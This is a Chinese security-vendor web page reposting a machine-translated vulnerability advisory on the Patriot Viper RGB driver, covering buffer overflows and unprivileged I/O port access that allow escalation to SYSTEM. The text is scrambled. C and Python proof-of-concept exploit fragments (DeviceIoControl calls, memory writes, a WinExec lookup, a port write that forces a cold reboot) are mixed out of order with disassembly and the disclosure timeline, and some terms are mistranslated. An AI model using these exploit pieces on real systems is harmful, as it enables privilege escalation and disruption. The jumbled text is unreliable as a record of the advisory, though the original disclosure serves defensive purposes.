对 Viper RGB 驱动多个CC防御缓冲区溢出漏洞的分析-墨者安全-墨者盾
DDOS防御_CC防护_高防CDN服务器_【墨者安全】—墨者盾墨者盾—你的网站贴身保镖!
QQ:800185041
高防免费接入:400-0797-119

渠道合作:156 2527 6999

主页 > CC防护 > 对 Viper RGB 驱动多个CC防御缓冲区溢出漏洞的分析

对 Viper RGB 驱动多个CC防御缓冲区溢出漏洞的分析

小墨安全管家 2020-10-27 12:26 CC防护 89 ℃
DDoS防御

参考信息:

  

PAGE_EXECUTE_READWRITE = 0x00000040 

        exit(1); 

    Sleep(50); 

print "%r"%data 

  

print "WinExec = 0x%x"%WinExec 

HEAP_ZERO_MEMORY=0x00000008 

import sys 

  

    DWORD outBufferSize = 1; 

BYTE ReadPort(HANDLE hDriver, unsigned int port) 

    memcpy((char*)inBuffer, &port, 2); 

    } 

  

1.1版和所有往常的版本在每个受支持的Windows版本中都容易受到攻击(安装程序:Patriot Viper RGB v1.1.exe)

.text:00000000000016F0 mov     rdx, rsi        ; Src 

2019年11月29日– MITER将CVE-2019-19452分配给第一具漏洞

下面看到的PoC漏洞利用演示了此过程,该过程重用了连接套接字以生成shell并在系统上执行任意命令。

  

  

FILE_SHARE_WRITE = 0x00000002 

    if (outBuffer == NULL

ntdll.NtAllocateVirtualMemory.argtypes = [c_ulonglong, POINTER(c_ulonglong), c_ulonglong, POINTER(c_ulonglong),c_ulonglong,c_ulonglong] 

print "0x%X"%(WinExec) 

    HANDLE hDriver = CreateFile(driverName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 

if (not k32Dll) : 

  

  

FILE_SHARE_DELETE = 0x00000004 

    if (retDevIoControl == 0) 

.text:0000000000001528 cmp     r11d, 80102040h 

IOCTL代码0x80102050和0x80102054允许具有低特权的用户从IO端口读取或向其写入1/2/4字节。能够经过多种方式来利用它来最后来以提升的特权运行代码。

  

        exit(1); 

    DWORD outBufferSize = 1; 

  

HANDLE GetDriverHandle(LPCSTR driverName) 

  

.text:0000000000001518 lea     rcx, aIrpMjDeviceCon ; "IRP_MJ_DEVICE_CONTROL" 

    } 

  

    DWORD bytesReturned = 0; 

kernel32.WriteProcessMemory.argtypes = [c_ulonglong, c_ulonglong, c_char_p,  c_ulonglong, POINTER(c_ulonglong)] 

解决方案和解决想法:

2019年11月6日– CoreLabs经过support@patriotmem.com向供应商发出了联系电子邮件,  要求披露。

  

  

.text:00000000000016ED mov     r8, rbx         ; MaxCount 

int main(int argc, char** argv) 

对 Viper RGB 驱动多个CC谨防缓冲区溢出漏洞的分析

kernel32.RtlMoveMemory(c_int(buf),data,c_int(len(data))) 

.text:0000000000001524 mov     r11d, [rbp+18h] 

虽然当前没有为该漏洞分配CVE,然而假如MITER分配了其他CVE名称,则将使用其他信息更新本文档。

    DWORD inBufferSize = 10; 

        printf("Failed DeviceIoControl\nError code:%d", GetLastError()); 

  

2020年2月8日–向Patriot请求第二个漏洞的补丁程序状态,并告知他们该信息现已在Twitter上公开。

print "[+] buffer address: 0x%X" % buf 

由于驱动程序尚未使用安全cookie爱护函数的堆栈,所以能够成功执行任意代码。

    { 

        printf("Failed DeviceIoControl\nError code:%d", GetLastError()); 

    { 

2020年1月16日–发觉第二个未经过补丁解决的漏洞。新的POC发送给爱国者。

      

    } 

GetModuleHandleA = kernel32.GetModuleHandleA 

      

    { 

    LPCSTR driverName = (LPCSTR)"\\\\.\\Msio"

  

  

    if (outBuffer == NULL

MEM_COMMIT = 0x00001000 

    memcpy((char*)inBuffer + 2, &data, 1); 

  

https://www.viper.patriotmemory.com/viperrgbdramsoftware

OPEN_EXISTING = 3 

Patriot Memory是一家总部位于美国的技术公司,设计和创造内存模块,闪存驱动器,挪移配件和游戏设备。

  

import struct 

    WritePort(hDriver, 0xcf9, portCF9 | 2); 

    if (inBuffer == NULL

      

    WritePort(hDriver, 0xcf9, portCF9 | 0xe); // Cold Reboot 

    HANDLE hDriver = GetDriverHandle(driverName); 

  

    print ("[-] Failed To get module handle kernel32.dll\n"

bytes_returned = wintypes.DWORD(0) 

能够在下面找到有关版本1.0的信息:

  

  

#define IOCTL_READ_IOPORT 0x80102050  

    CloseHandle(hDriver); 

      

  

  

  

.text:000000000000152F jz      loc_16D4 

  

在处理IoControlCode 0x80102040时,在Viper驱动程序RGB 1.1版中发觉缓冲区溢出漏洞。本地攻击者能够利用此漏洞,所以获得NT AUTHORITY \ SYSTEM特权。

1.0版和1.1版之间的二进制代码差异表明,虽然对这些函数的参数举行了检查,但先前的溢出漏洞仍存在未举行修补,而CoreLabs在随后研究中可以操纵其大小。

能够经过调用CreateFileA来猎取驱动程序的句柄,接着经过发送受控数据来调用DeviceIoControl来实现此功能。下面将使用针对Windows 7 SP1 x64设计PoC,演示针对x64版本驱动程序的代码执行。该代码将需要改编为其他Windows版本。

#!/usr/bin/env python 

  

  

本文翻译自:​https://www.coresecurity.com/advisories/viper-rgb-driver-multiple-vulnerabilities?source=twitter&code=CMP-0000001929&ls=100000000&utm_campaign=core-cts-emails&utm_content=117968468&utm_medium=social&utm_source=twitter&hss_channel=tw-17157238如若转载,请注明原文地址。

  

    if (hDriver == INVALID_HANDLE_VALUE) 

  

对版本1.0的漏洞的利用验证发觉了溢出漏洞的存在,该溢出能够覆盖ZwOpenSection和ZwMapViewOfSection的参数。

  

  

这些漏洞是由Core Security Exploit团队的Ricardo Narvaja和Lucas Dominikow发觉的。

端口映射的I / O访咨询

    { 

2020年1月1日–收到来自供应商的电子邮件,其中附有建议的修复程序。

  

OPEN_ALWAYS = 4 


DDoS防御

当前位置:主页 > CC防护 > 对 Viper RGB 驱动多个CC防御缓冲区溢出漏洞的分析

标签列表
DDoS防御
网站分类
X
 

QQ客服

400-0797-119